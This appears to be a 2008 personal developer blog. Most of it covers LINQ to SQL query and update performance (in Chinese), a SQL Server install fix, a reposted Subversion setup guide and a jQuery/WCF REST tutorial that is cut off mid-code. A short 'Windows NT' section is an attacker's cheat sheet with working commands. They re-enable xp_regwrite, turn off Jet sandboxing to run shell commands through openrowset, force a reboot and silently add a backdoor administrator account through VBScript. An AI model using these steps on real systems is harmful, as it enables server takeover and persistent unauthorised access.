10/15/2008

linq to sql in vs2008

read this

http://weblogs.asp.net/scottgu/archive/2007/09/07/linq-to-sql-part-9-using-a-custom-linq-expression-with-the-lt-asp-linqdatasource-gt-control.aspx

9/08/2008

使用LINQ查询与性能分析

Orcas(VS2008&Framework3.5)给我们带来了很多令人兴奋的新特性,尤其是LINQ的引进,可以说方便了一大批开发人员和框架设计人员。过去,当我们使用O/RMapping的一些框架时,最担心的应该是复杂的查询和数据库操作的性能问题,那么LINQ在这个方面给我们带来了什么呢?
一:数据查询:
一个项目中,对数据库操作最多的应该就是查询,特别是复杂一些的项目,查询往往是从很多张表里取一些数据,“东拼西凑”的呈现给用户。如果不使用O/R Mapping呢,我们处理的方式无非是两种:复杂的SQL语句或者是存储过程。但是,在使用了O/R Mapping的情况下,为了保证取出的数据是强类型,不得不用多个方法来进行拼凑,麻烦且不说,性能损失是肯定的,那么也就出现了O/R Mapping框架和未封装的ADO.NET一起用的尴尬场面。那么LINQ怎么处理的呢?首先我们先来看一些复杂的查询语法。
设计两张表,分别为表示部门(Department)和员工(Employee):
1、 模糊查询:
模糊查询在O/RMapping的框架中是比较难实现的,即使实现,效率也不是很高,LINQ提供了我们丰富的模糊查询的方法,比如我们要在Employee表中查姓张的人,可以这样:
DBDataClassesDataContext dbdata = new DBDataClassesDataContext();
var query = from employee in dbdata.Employees where employee.EmployeeName.StartsWith("张") select employee;
在实际执行的时候,这句话被转换成了:
SELECT [t0].[EmployeeId], [t0].[DepId], [t0].[EmployeeName], [t0].[EmployeeSalary] FROM [dbo].[Employee] AS [t0] WHERE [t0].[EmployeeName] LIKE @p0
这样的SQL语句,这个里面的@p0这个参数在执行的时候加上了“%”,也就是以@p0开头的任何符合条件的记录都被取出来了。这样的方法在LINQ中还有Contains、EndsWith等。
2、嵌套查询:
如果我们需要取出市场部的所有员工,在以往的O/R Mapping框架中,往往需要取两次(我们不考虑存在映射关系的情况),一次是取出市场部的编号,再使用编号来取出所有员工。LINQ给我们提供了更好的解决办法,我们可以这样操作:
var query = from employee in dbdata.Employees where employee.DepId ==
(from department in dbdata.Departments where department.DepName == "市场部"
select department ).Single().DepId
select employee;
这里我们使用了嵌套查询来完成,这句话在执行的时候,被转换成了SQL的嵌套查询:
SELECT [t0].[EmployeeId], [t0].[DepId], [t0].[EmployeeName], [t0].[EmployeeSalary] FROM [dbo].[Employee] AS [t0] WHERE [t0].[DepId] = (SELECT [t1].[DepId] FROM [dbo].[Department] AS [t1] WHERE [t1].[DepName] = @p0)
当然,在这里,我们不必那么麻烦,只需要使用已经存在的实体关系,就可以轻松的完成:
var query = from employee in dbdata.Employees where employee.Department.DepName == "市场部"
select employee;
不过,这和刚才的查询却有本质的差别,我们来看看这里,LINQ转换成什么样的SQL语句了:
SELECT [t0].[EmployeeId], [t0].[DepId], [t0].[EmployeeName], [t0].[EmployeeSalary] FROM [dbo].[Employee] AS [t0] LEFT OUTER JOIN [dbo].[Department] AS [t1] ON [t1].[DepId] = [t0].[DepId] WHERE [t1].[DepName] = @p0
这里,转换出来的并不是嵌套的SQL语句,而被转换成了左连接查询,可以看出,嵌套查询是我们在特殊的情况下,可以使用的一个利器。
3、投影
如果说刚才的查询,还只是很简单的查询,那么结合匿名类来实现投影查询,则是LINQ提供的一个利器,这种方法非常灵活,同时也满足了我们绝大部分的查询需求。下面我们来看一个例子:我们需要查询出部门工资的总和,怎么做呢?
var query = from department in dbdata.Departments
select new{ depid = department.DepId, depname=department.DepName, depsalary = department.Employees.Sum(e => e.EmployeeSalary) };
这句查询语句中,在new关键字后面生成了一个匿名类,这个类有三个属性,分别是 depid,depname和depsalary,其中,depsalary是经过计算获得,这句话被转换成:
SELECT [t0].[DepId] AS [depid], [t0].[DepName] AS [depname], (SELECT SUM([t1].[EmployeeSalary]) FROM [dbo].[Employee] AS [t1] WHERE [t1].[DepId] = [t0].[DepId] ) AS [depsalay] FROM [dbo].[Department] AS [t0]
好优雅的代码,实在是太方便了。
4、使用LINQ的扩展方法
LINQ提供了很多扩展方法,方便我们做各种查询,我们来看几个典型的扩展方法:
a) Average、Max
Decimal x = dbdata.Employees.Average(e => e.EmployeeSalary);
Decimal y = dbdata.Employees.Max(e => e.EmployeeSalary);
这是计算出员工的平均工资与最大工资,你不需要编写任何的SQL语句,Orcas中提供的LINQ到SQL对象关系映射器会处理获取,跟踪,和更新映射到你的数据库数据定义和存储过程的对象。你只要使用任何LINQ扩展方法对结果进行过滤和构形即可,LINQ到SQL会执行获取数据所需的SQL代码(注意,上面的 Average和Max 扩展方法很明显地不会从数据表中返回所有的数据行,它们会使用TSQL的聚合函数来计算数据库中的值,然后只返回一个标量值)。
b) Where、OrderBy
有时候,我们只对某张表做简单的查询和排序,那么,这个时候不必写冗长的LINQ语句,直接使用LINQ扩展方法即可,如:
var query = dbdata.Employees.Where(e => e.EmployeeSalary > 2000).OrderBy(e => e.EmployeeName);
这里使用了Lambda语法,这句话被转换成以下的SQL语句:
SELECT [t0].[EmployeeId], [t0].[DepId], [t0].[EmployeeName], [t0].[EmployeeSalary] FROM [dbo].[Employee] AS [t0] WHERE [t0].[EmployeeSalary] > @p0 ORDER BY [t0].[EmployeeName]
以上是通过利用由Lambda提供的对表达式树支持,以及IQueryable接口来实现的,代码干净整洁。
C)Take、Skip
对于大批量的数据处理,一直是开发人员的比较头疼的事情,微软在.NET1.1到2.0中的Gridview等控件,对大批量数据的处理上一直都不是很理想,LINQ对于大批量数据的处理,可以很好的解决这个方面的问题。
var query = dbdata.Employees.Skip(10).Take(10);
这句话表示跳过该表的10条记录,再取10条,也就是取第11至20条记录,转换成SQL语句如下:
SELECT [t1].[EmployeeId], [t1].[DepId], [t1].[EmployeeName], [t1].[EmployeeSalary] FROM (SELECT ROW_NUMBER() OVER (ORDER BY [t0].[EmployeeId], [t0].[DepId], [t0].[EmployeeName], [t0].[EmployeeSalary]) AS [ROW_NUMBER], [t0].[EmployeeId], [t0].[DepId], [t0].[EmployeeName], [t0].[EmployeeSalary] FROM [dbo].[Employee] AS [t0]) AS [t1] WHERE [t1].[ROW_NUMBER] BETWEEN @p0 + 1 AND @p0 + @p1 ORDER BY [t1].[ROW_NUMBER]
从以上这句SQL语句来看,最消耗性能分页操作完全交给了数据库操作,其处理的机制不再像Gridview控件的分页,是将数据全部取出,然后再进行分页显示,因此效率上要高了很多。
D)ToList和ToArray
在默认情况下,查询结果的数据类型是IEnumerable类型,可能很多开发人员并不习惯这个类型,而更加喜欢集合或者是数组,那么没关系,可以使用ToList或者是ToArray来将查询结果转换成集合或者数组。在这里,我们需要知道的是:使用查询语句查询结果的时候,实际上并没有真正操作数据库,这里是运用的延迟加载的机制,如果不希望使用延迟加载,而是需要立刻知道查询的结果时,使用ToList或者是ToArray便可以做到。这是非常有用的机制。比如我们需要显示两个部门的员工时,部门可以先取出放置在List中,然后再依次取出各个部门的员工,这时访问的效率要高一些,因为不需要每次都访问数据库去取出部门。
二:数据操作的性能分析
当我们会熟练的使用以上的查询方法对数据库里的内容做各种各样的查询以后,就应当要了解这些数据库操作的机制,及时调整各种数据操作语句,以较高的效率运行。那么,下面我们来看看LINQ的数据库操作,看看她都做了些什么工作。
与NHibernate来比较,LINQ在O/R Mapping的性能与可控性上确实优于NHibernate,首先,Linq默认的数据映射采用的是Attribute来实现,这是.NET特有的语法,在编译时就已经决定了数据对象的各种属性,而NHibernate等大多数O/RMapping工具仍然采用XML映射文件来描述数据对象的属性,从外部文件上读取数据对象的属性,显然运行时效率要有所损失。其次,在获得数据的方式上也有所差别,LINQ中强大的SQL分析机制,可以分析出各种数据操作的SQL语句,并且进行优化,其效率的提升也是显而易见的。
当然,作为一个O/R Mapping的工具来说,其效率一定达不到直接使用SQL语句访问数据库的效率,也就是我们通常所说的SqlDataReader/SqlDataAdapter访问数据库,但是,Linq的表现却给了我们非常大的惊喜,我做了一个测试,使用SqlDataReader和LINQ做相同的大批量数据查询时,落后竟然不到10%,而NHibernate的查询效率,却低了很多,几乎慢了1倍。对于如此强大的数据映射功能,这样的效率是我们可以接受的。但是很可惜的一点是,LINQ目前只能支持对SQLServer的支持(但可以支持XML、Entity等)。
在数据查询上,我们通过对LINQ生成的SQL语句进行分析,便可以优化查询,这是非常方便的,但是,针对数据更新的效率问题,我们不得不谈谈LINQ的数据更新机制,一般情况下,数据更新我们会这么做:
var query = from emp in dbdata.Employees where emp.DepId=="1001" select emp;
Employee employee = query.First();
employee.EmployeeName = "李四";
dbdata.SubmitChanges();
对于以上这段代码,我们可以看出,其功能是从Employee表中取出部门代码为1001的所有员工,然后我们取出第一条数据(这里为了简便,我们仅仅取出第一条,其实可以用Where取出满足条件的记录),然后把名字修改成“李四”,再更新到数据库中。这段代码,LINQ都干了些什么呢?通过查询从数据库中取出若干条记录,放在内存中,并且都标记为new(未改变)状态,当修改了员工姓名的时候,被修改的对象被标记为Dirty(已改变),在SubmitChanges的时候,再为内存中对象状态为Dirty的记录自动生成SQL语句并执行,也就是说,我们要完成一次数据的更新,至少要完成一次查询和一次更新。
由于采用了延时加载(Layze Load)的技术,在以上语句中实际从数据库中取出的记录只有1条,更新的时候也只更新这一条,因此效率仍然是非常高的,我在测试的过程中发现,从250000条数据中随机抽取一条进行更新,实际的效率和从10条数据中随机抽取一条进行更新几乎没有差别,因为比较更新状态是在内存中进行,因此效率是比较高的。下面我们再看看实际的更新生成了什么样的SQL语句:
UPDATE [dbo].[Employee] SET [EmployeeName] = @p4 WHERE ([EmployeeId] = @p0) AND ([DepId] = @p1) AND
([EmployeeName] = @p2) AND ([EmployeeSalary] = @p3)
原来,我们只修改了EmployeeName的字段,生成的SQL语句却也仅仅是更新了Employee字段。那么,我们再看看后面的条件,为什么会包含除了主键以外的其他条件呢?原来,这也是LINQ自动生成SQL语句的严谨所在,这是为了防止并发情况下,多个事务针对同一条记录更新时发生错误,假如A事务更新了该记录,则B事务更新会失败。我们不禁要问,假如要更新主键字段怎么办?会不会错误的更新到多条记录呢?答案是肯定的,肯定会错误的更新到其他记录,因此,LINQ中规定了主键字段是不允许更新的,如果确实要更新,那么就删除掉该记录,重新插入新纪录。这么严谨的SQL语句,会给我们带来一些麻烦,我们来看下面一个应用场景:
如果我们在表中设有一个字段用于计数器,使用SQL语句是这样的:
Update CountTable set CountColumn=CountColumn+1 where CountId=@countId
但使用LINQ生成的Sql语句却是:
UPDATE [dbo].[CountTable] SET [CountColumn] = @p2 WHERE ([CountId] = @p0) AND ([CountColumn] = @p1)
@p2这个参数是计算好后传入的,@p1这个参数是CountColumn原来的值。也就是说,CountColumn+1这个值不是由数据库运算出来的,这样一来,当并发数很高的时候,我们往往会更新失败。我做了个测试,使用多线程模拟多用户的情况下进行计数统计,数据库中统计的值比使用静态变量保存的值要小,这也就是说数据库更新是存在失败的情况。另外,这样每次的更新,需要完成的操作有查找和更新两个步骤,因此对于效率也有比较大的影响。
在这里,我们并不是要说明LINQ存在缺陷,因为这种情况可能在任何的O/R Mapping的框架下都得不到很好的解决,这里仅仅是想告诉我们,只有了解系统内部运行的情况,才能设计出效率更高,更可靠的系统

9/03/2008

rar自动打包备份,随记

D:\BACKUP\Rar.exe a -agyymmdd -inul -ep1 -v4608m -or -X@D:\BACKUP\2.lst D:\BACKUP\.rar @D:\BACKUP\1.lst

7/08/2008

在安装 SQL Server 2000 Service Pack 3 时可能收到错误消息“Setup was unable to validate the logged user”(安装程序无法验证登录的用户)

方法 1

将注册表项 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo\DSQUERY 的值更改为 DBNETLIB。要更改此值,请按照下列步骤操作:
1.在“开始”菜单上,单击“运行”。
2.键入“Regedit”,然后单击“确定”。
3.在“注册表编辑器”中,找到以下注册表项路径:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo
4.在“注册表编辑器”的右窗格中,双击“DSQUERY”项。
5.在“编辑字符串”对话框的“数值数据”文本框中,键入 DBNETLIB,然后单击“确定”。
6.关闭“注册表编辑器”。

方法 2

确保将注册表项 NtfsDisable8dot3NameCreation 设置为 0。该值为 0 可确保能够使用短名称访问带有空格的文件夹。要设置该注册表项,请按照下列步骤操作:
1.在“开始”菜单上,单击“运行”。
2.键入“Regedit”,然后单击“确定”。
3.在“注册表编辑器”中,找到以下注册表项路径:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
4.在“注册表编辑器”的右侧,双击“NtfsDisable8dot3NameCreation”项。
5.在“编辑字符串”对话框中的“数值数据”文本框中,键入 0。单击“确定”。
6.关闭“注册表编辑器”。
确保 TEMP 或 TMP 环境变量没有空格。要确认这一点,请按照下列步骤操作:
1.右键单击“我的电脑”,然后单击“属性”。
2.在“高级”选项卡上,单击“环境变量”。
3.在“ 的用户变量”列表中,选择“TMP”,然后单击“编辑”。确保“变量值”文本框中没有空格,尤其是没有任何尾随空格,然后单击“确定”。
4. 选择“TEMP”,然后单击“编辑”。确保“变量值”文本框中没有空格,尤其是没有任何尾随空格,然后单击“确定”。
5.如果任一变量值有空格,请创建一个新的没有任何空格的临时文件夹(例如,C:\Temp),然后将其指定为 TEMP 和 TMP 环境变量的变量值。

some stuff about Windows NT operating system

set a Auto-Exec script when shell open
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\AutoRun

the connection history of MSTSC
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default

When Shell or Regedit are disabled
GPEDIT.MSC进入组策略编辑器>用户配置>管理模板>系统>阻止访问命令提示符策略,将其设定为未配置

reg FSO
RegSvr32 C:\WINNT\SYSTEM32\scrrun.dll /s

execute command with xp_regwrite only

select @@version
--check the version of this MSSQL database server first

dbcc addextendedproc ("xp_regwrite","xpstar.dll")
--restore xp_rewrite by using xpstar.dll if it does not exist
--MSSQL 2005 should use xpstar90.dll

exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
--write to reg

select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\ias.mdb','select shell("cmd.exe /c YOUR COMMAND HERE")')



restart windows:
echo @ECHO OFF ^& cd/d %temp% ^& echo [version] ^> {out}.inf>a.bat
echo (set inf=InstallHinfSection DefaultInstall)>>a.bat
echo echo signature=$chicago$ ^>^> {out}.inf>>a.bat
echo echo [defaultinstall] ^>^> {out}.inf>>a.bat
echo rundll32 setupapi,%inf% 1 %temp%\{out}.inf>>a.bat
a.bat

Add administrator user account without net1.exe
echo dim username,password:If Wscript.Arguments.Count > 0 Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="5he11":password="123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"^&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os^&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os^&"/"^&username^&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath >cz.vbs
cscript cz.vbs
del cz.vbs



change the password of SA in MSSQL database server by using SQL command

5/12/2008

installing a Subversion server on Windows

Update: This Guide is now largely obsolete, because Brian wrote an installer that will do all this stuff for you. Check out hisannoucement*, or go straight to the svn1clicksetup project page on tigris.

Subversion sounds pretty cool. It’s a mature, powerful revision-control system that acts a lot like CVS, adds support for atomic commits and real renames, just won the Jolt award, and is free. What more can you ask for?

I’ve been intending to install Subversion for quite a while, but I kept putting it off, because it looked like a daunting task. But when I actually decided to go do it, it took me all of an hour and a half to get it installed and working. If somebody had just written down what I needed to do to set up Subversion on Windows, with a real server running as a real Windows service, then it probably would’ve only taken me ten minutes, and I would’ve done it weeks ago.

Here, then, is the Mere-Moments Guide to installing a Subversion server on Windows. (It may look a bit intimidating, but really, it’s not.)

Some quick notes on the Guide:

  • These instructions assume you’re using Windows 2000 or XP. (You’d better be; the Subversion server won’t run on Win9x.)
  • If you want to know more about Subversion than just how to install it, check out the free O’Reilly Subversion book online and the not-free Pragmatic Version Control using Subversion.
  • For Subversion to do you much good, you’ll have to add a new “project” (essentially a directory) to your repository, to put files in. In these instructions, I’m assuming that your new project will be called monkey(because mine was).
  • Feel free to skip steps and to play around; you’ll learn more that way, because things won’t work right and you’ll have to figure out why.

And now, on to the Guide.

  1. Download everything
    1. Go to http://subversion.tigris.org/servlets/ProjectDocumentList?folderID=91 and download the most recent svn-x.y.z-setup.exe. At the time of this writing, the latest version was svn-1.2.0-setup.exe.
    2. Go to http://dark.clansoft.dk/~mbn/svnservice/ and download SVNService.zip.
    3. Go to http://tortoisesvn.tigris.org/download.html and download the most recent installer. At the time of this writing, the latest version was TortoiseSVN-1.1.7-UNICODE_svn-1.1.4.msi. (It doesn’t have to be the exact same version as the svn installer you got in step 1. See the compatibility chart.)
  2. Install the server and the command-line client
    1. Run svn-x.y.z-setup.exe and let it install stuff.
    2. Go to Control Panel > System, go to the Advanced tab, and click the “Environment Variables” button at the bottom. Click the “New” button (either one, but if you’re undecided, use the one under “System variables”), set “variable name” to SVN_EDITOR, and “variable value” to the path and filename of a text editor of your choice (e.g., C:\Windows\Notepad.exe). OK all the way out.
  3. Create a repository and configure access
    1. Create a new directory somewhere out of the way; this is where your repository will live, but you’ll almost never actually open the files directly. I made a directory called svn_repos directly under my C:\Documents and Settings, just so it’d be out of the way.
    2. Open a command prompt and type: svnadmin create “C:\Documents and Settings\svn_repos”
    3. In Windows Explorer, browse to the C:\Documents and Settings\svn_repos\conf directory (which svnadmin just created for you), and edit a couple of config files:
      1. Open the svnserve.conf file in a text editor, and uncomment the [general]anon-access = readauth-access = write, and password-db = passwd lines. Save.
      2. Open the passwd file in a text editor, uncomment the [users] line, and add the username and password you want to use when connecting to your subversion server. Save.
  4. Start the server manually, and create a project
    1. In your command window, type: svnserve –daemon –root “C:\Documents and Settings\svn_repos”
    2. Open a second command window, and type svn mkdir svn://localhost/monkey
    3. You’ll see the text editor you specified in step II.2, with some text already in it. Type a comment, like “Created the monkey project”, at the beginning of the file (before the line starting with “–”). Save the file and close the editor.
    4. If your Subversion login is the same as your Windows login, then type your password (the one you put in the passwd file) at the prompt, and hit Enter. If your Subversion login is different from your Windows login, then just hit ENTER at the password prompt, and Subversion will then ask for both your login and your password.
    5. Subversion should tell you that it “Committed revision 1.” Congratulations! You just checked a change into Subversion. Throw yourself a party. (Yes, creating a directory is a revisioned change — you can go back and get the repository as of a time before that directory existed. This is novel stuff for folks like me who still use VSS at work.)
    6. It’s conventional to have /trunk, /branches, and /tags subdirectories for each project (your code goes into trunk, and the others are where you put, well, branches and tags). Go ahead and type svn mkdir svn://localhost/monkey/trunk (and notice that, after you enter a checkin comment, it doesn’t prompt you for your password again — it’s smart like that).
  5. Start the server for real
    1. Go back to the command window that’s running svnserve. Hit Ctrl+C to stop it.
    2. Open the SVNService.zip that you downloaded earlier. Extract SVNService.exe into your Subversion bin directory (Program Files\Subversion\bin). Yes, it’s important that you put it in this directory; it has to be in the same place as svnserve.exe from the Subversion distribution.
    3. In a command prompt, type svnservice -install –daemon –root “C:\Documents and Settings\svn_repos”
    4. Go to Control Panel > Administrative Tools > Services, double-click the SVNService service, and change its startup type from “Manual” to “Automatic”. Now Subversion will start every time you start Windows.
    5. Start the SVNService service (by selecting it in the Services list, and clicking the “play” toolbar button).
    6. Go back to a command prompt, and type svn ls svn://localhost/
      This will list all the files in the root of the repository. If all is well and you’ve got a real Subversion server running now, you should see: monkey/
  6. Install TortoiseSVN
    Sure, you can get by with a command-line client, but TortoiseSVN is cool — it integrates Subversion into Windows Explorer. You get little overlay icons showing the status of each file (in sync, needs to be checked in, not yet in the repository, etc.), and you can do pretty much everything you need by right-clicking on files and folders.

    1. Run the TortoiseSVN installer you got back in part I.
    2. Create a monkey directory somewhere on your hard drive. Right-click somewhere in that folder and select “SVN Checkout…” Type svn://localhost/monkey/trunk/ for the repository URL and click OK.
    3. Create a file in that directory, any file. Right-click the file and select TortoiseSVN > Add. Notice the little plus-sign icon that appears.
      The file hasn’t actually been checked in yet — Subversion’s commits are both batched and atomic, so this new file, together with any other new files you added, any files you changed, any files you deleted, any files you renamed, any directories you added or deleted or renamed, will all show up on the server all at once, as a single revision and a single checkin, the next time you right-click and select “SVN Commit”.
  7. Make it run on the network
    Are you kidding? You’re already networked. Go to another computer on your LAN, install TortoiseSVN, and do an “SVN Checkout…”. When you specify the repository URL, use the same URL you did before, but replace “localhost” with the actual name of the computer that’s running the Subversion service (so in my case, the repository URL is svn://marsupial/monkey/trunk/ — nice little menagerie, there).

And there ya go — Subversion up and running on Windows, in mere moments or less.

jQuery AJAX calls to a WCF REST Service

Since I've posted a few jQuery posts recently I've gotten a bunch of feedback to have more content on using jQuery in Ajax scenarios and showing some examples on how to use jQuery to cut out ASP.NET Ajax. In this post I'll show how you can use jQuery to call a WCF REST service without requiring the ASP.NET AJAX ScriptManager and the client scripts that it loads by default. Note although I haven't tried it recently the same approach should also work with ASMX style services.

WCF 3.5 includes REST functionality and one of the features of the new WCF webHttp binding is to return results in a variety of ways that are URL accessible. WCF has always supported plain URL HTTP access, but it's not been real formal and had somewhat limited functionality as parameters had to be encodable as query string parameters. With the webHttp binding there's now an official WCF protocol geared towards providing ASP.NET AJAX JSON compatibility (using WebScript behavior) as well of a slightly cleaner raw JSON implementation (basic webHttp binding).

You can return XML (default), JSON or raw data from WCF REST services. Regardless of content type, natively WCF always wants to return content in a 'wrapped' format which means that both inbound parameters and outbound results are wrapped into an object.

Let's take a look at the message format for a REST JSON service method.

[ServiceContract(Name="StockService",Namespace="JsonStockService")]    
public interface IJsonStockService
{
    [OperationContract]          
    [WebInvoke(Method="POST",
               BodyStyle=WebMessageBodyStyle.Wrapped,
               ResponseFormat=WebMessageFormat.Json
    )]
    StockQuote GetStockQuote(string symbol);

..

The input message on the wire looks like this:

{"symbol":"MSFT"}

The response looks like this:

{"GetStockQuoteResult":
        {"Company":"MICROSOFT CP",
        "LastPrice":30.00,
        "LastQuoteTime":
        "\/Date(1208559600000-0700)\/",
        "LastQuoteTimeString":"Apr 18, 4:00PM",
        "NetChange":0.78,
        "OpenPrice":29.99,
        "Symbol":"MSFT"}
}

Notice that in both cases an object is used. For the inbound data all parameters are wrapped into an object and rather than just passing the value, the name of the parameter becomes a property in the JSON object map that gets sent to the server. This is actually quite useful - if you're just sending a raw JSON structure you could only pass a single parameter to the server - and that option is also available via the Web BodyStyle=WebMessageBodyStyle.Bare option on the service method.

The outbound result set is also wrapped into an object which is a lot less useful. This is a hold over from WCF which wraps all responses into a message result object, which usually makes sense in order to support multiple result values (ie. out parameters etc.). In a Web scenario however this doesn't really buy you much. Nevertheless if you want to pass multiple parameters to the server you have to use this wrapped format along with the result value.

Calling with jQuery

If you're using jQuery and you'd like to call a WCF REST service it's actually quite easy either with bare or wrapped messages. Bare messages are easier to work with since they skip the wrapping shown above, but as I mentioned you're limited to a single input parameter. So if your service has any complexity you'll likely want to use wrapped messages.

You can opt to either call services using the ASP.NET Ajax logic (WebScriptService behavior) or using the raw service functionality which is shown above.

To call these methods with jQuery is fairly straight forward in concept - jQuery includes both low level and highlevel methods that can call a URL and return JSON data. The two methods available are $.getJSON() which automatically parses result JSON data and $.ajax(), which is a lower level function that has many options for making remote calls and returning data.

getJSON() is useful for simple scenarios where the server returns JSON, but it doesn't allow you to pass JSON data TO the server. The only way to send data to the server with getJSON is via query string or POST data that is sent as standard POST key/value pairs. In all but the simplest scenarios getJSON() is not all that useful.

The lower level $.ajax method is more flexible, but even so it still lacks the capability to pass JSON data TO the server. So little extra work and some external JSON support is required to create JSON output on the client as well as dealing with Microsoft Ajax's date formatting.

Personally I prefer to use a wrapper method for making JSON calls to the server to encapsulate this functionality. Note although this method seems somewhat lengthy it deals with a few important issues that you need to take care of when calling WCF REST Services:

// *** Service Calling Proxy Class
function serviceProxy(serviceUrl)
{
    var _I = this;
    this.serviceUrl = serviceUrl;
 
    // *** Call a wrapped object
    this.invoke = function(method,data,callback,error,bare)
    {
        // *** Convert input data into JSON - REQUIRES Json2.js
        var json = JSON2.stringify(data); 
 
        // *** The service endpoint URL        
        var url = _I.serviceUrl + method;
 
        $.ajax( { 
                    url: url,
                    data: json,
                    type: "POST",
                    processData: false,
                    contentType: "application/json",
                    timeout: 10000,
                    dataType: "text",  // not "json" we'll parse
                    success: 
                    function(res) 
                    {                                    
                        if (!callback) return;
 
                        // *** Use json library so we can fix up MS AJAX dates
                        var result = JSON2.parse(res);
 
                        // *** Bare message IS result
                        if (bare)
                        { callback(result); return; }
 
                        // *** Wrapped message contains top level object node
                        // *** strip it off
                        for(var property in result)
                        {
                            callback( result[property] );
                            break;
                        }                    
                    },
                    error:  function(xhr) {
                        if (!error) return;
                        if (xhr.responseText)
                        {
                            var err = JSON2.parse(xhr.responseText);
                            if (err)
                                error(err); 
                            else    
                                error( { Message: "Unknown server error." })
                        }
                        return;
                    }
                });   
    }
}
// *** Create a static instance
var Proxy = new serviceProxy("JsonStockService.svc/");

WCF services are called by their URL plus the methodname appended in the URL's extra path, so here:

JsonStockService.svc/GetStockQuote

is the URI that determines the service and method that is to be called on it.

The code above uses the core jQuery $.ajax() function which is the 'low level' mechanism for specifying various options. Above I'm telling it to accept raw string input (in JSON format), convert the response from JSON into an object by evaling the result, as well as specifying the content type and timeout. Finally a callback handler and error callback are specified.

Note that I override the success handler here to factor out the wrapped response object so that the value received in the callback handler is really only the result and not the wrapped result object. More on this in a second.

The call for the above StockQuote(symbol) call looks like this (including some app specific code that uses the result data):

var symbol = $("#txtSymbol").val();            
Proxy.invoke("GetStockQuote",{ symbol: symbol },
    function (result)
    {   
        //var result = serviceResponse.GetStockQuoteResult;
 
        $("#StockName").text( result.Company + " (" + result.Symbol + ")" ) ;
        $("#LastPrice").text(result.LastPrice.toFixed(2));
        $("#OpenPrice").text(result.OpenPrice.toFixed(2));
        $("#QuoteTime").text(result.LastQuoteTimeString); 
        $("#NetChange").text(result.NetChange.toFixed(2));   
 
        // *** if hidden make visible
        var sr = $("#divStockQuoteResult:hidden").slideDown("slow");
 
        // *** Also graph it
        var stocks = [];
        stocks.push(result.Symbol);
        var url = GetStockGraphUrl(stocks,result.Company,350,150,2);                
        $("#imgStockQuoteGraph").attr("src",url);
    },
    onPageError);

Parameters are passed in as { parm1: "value1", parm2: 120.00 } etc. - you do have to know the parameter names as parameters are matched by name not position.

The result is returned to the inline callback function in the code above and that code assigns the StockQuote data into the document. Notice that the result returned to the callback function is actually NOT a wrapped object. The top level object has been stripped off so the wrapper is not there anymore.

If you look at the the ajaxJSON function, you can see that it looks for the first result property in the actual object that WCF returns and uses IT to call the callback function instead - so it's indirect routing. This saves you from the one line of code commented out above and having to know exactly what that Result message name is ( WCF uses Result). Not that one line of code would kill you, but it's definitely cleaner and more portable.

The same approach should also work with ASMX style services BTW which uses the same messaging format.

JSON encoding

Note that the ajaxJSON function requires JSON encoding. jQuery doesn't have any native JSON encoding functionality (which seems a big omission, but was probably done to preserve the small footprint). However there are a number of JSON implementations available. Above I'm using the JSON2.js file from Douglas Crockford to serialize the parameter object map into JSON.

There's another wrinkle though: Date formatting. Take another look at the stock quote returned from WCF:

{"GetStockQuoteResult":
        {"Company":"MICROSOFT CP",
        "LastPrice":30.00,
        "LastQuoteTime":
        "\/Date(1208559600000-0700)\/",
        "LastQuoteTimeString":"Apr 18, 4:00PM",
        "NetChange":0.78,
        "OpenPrice":29.99,
        "Symbol":"MSFT"}
}

There's no JavaScript date literal and Microsoft engineered a custom date format that is essentially a marked up string. The format is a string that's encoded and contains the standard new Date(milliseconds since 1970) value. But the actual type of the date value in JSON is a string. If you use standard JSON converters the value will be returned as a string exactly as you see it above. I've talked about the date issues, and hacking existing JSON implementations before. I've modified Crockford's JSON2.JS to support the Microsoft date format so it properly encodes in and outbound data. You can download the hacked JSON2_MsDates.zip if you're interested. You can look at the code to see the modifications that were required, which essentially amounts to pre filtering parsed data before evaling on the .toJSON end and dropping the Data format that Date.prototype.toJSON() produces and instead creating a string in the required format above when doing object encoding.

Bare Messages

If you want a cleaner message format and you're content with single parameter inputs to functions then the WebMessageBodyStyle.Bare can work for you. Bare gives you a single JSON parameter you can pass that is automatically mapped to the first and only parameter of a method. You can't use Bare with any service methods (other than GET input) that include more than one parameter - the service will throw an exception when you access any method (beware: it's a RUNTIME error!).

Bare messages are easier to work with but they are limited because of the single parameter. You can use a single parameter on the server and make that input a complex type like an array to simulate multiple parameters. Using input objects or arrays can work for this. While this works realize that WCF requires an exact type match so any input 'wrapper' types you create yourself have to be mappable to a .NET type.

My first instinct with WCF's web bindings was always to use Bare, but ultimately the wrapped format provides more flexibility even if it is a little uglier on the wire. For AJAX services wrapped seems to make more sense.

Ideally, I would have preferred even more control - wrapped input messages and bare output messages, but I guess you can't have everything ...

Other Input Alternatives

Passing JSON messages is one thing you can do - the other option is to pass raw POST variables, which is something that can be done natively with jQuery without requiring a JSON encoder. Basically jQuery allows you to specify data as an object map, and it can turn the object into regular encoded POST parameters.

[OperationContract]          
[WebInvoke(Method="POST",
           BodyStyle=WebMessageBodyStyle.Bare,
           ResponseFormat=WebMessageFormat.Json
 )]
StockQuote GetStockQuote(string symbol);

You'd also need to mark your class:

[AspNetCompatibilityRequirements(RequirementsMode = AspNetCompatibilityRequirementsMode.Allowed)]
public class JsonStockService : StockServiceBase

and enable ASP.NET compatibility in web.config (see my WCF REST Configuration Post for details)

If you prefer the simplified logic and you can use POST input data (which works well if you rather post back to a handler or the same ASPX page) you can get away with the following:

function ajaxJsonPost(method,data,callback,error)
{
    var url = "JsonStockService.svc/" + method;
    $.ajax( { 
                url: url,
                data: data,
                type: "POST",
                processData: true,
                contentType: "application/json",
                timeout: 10000,
                dataType: "json",
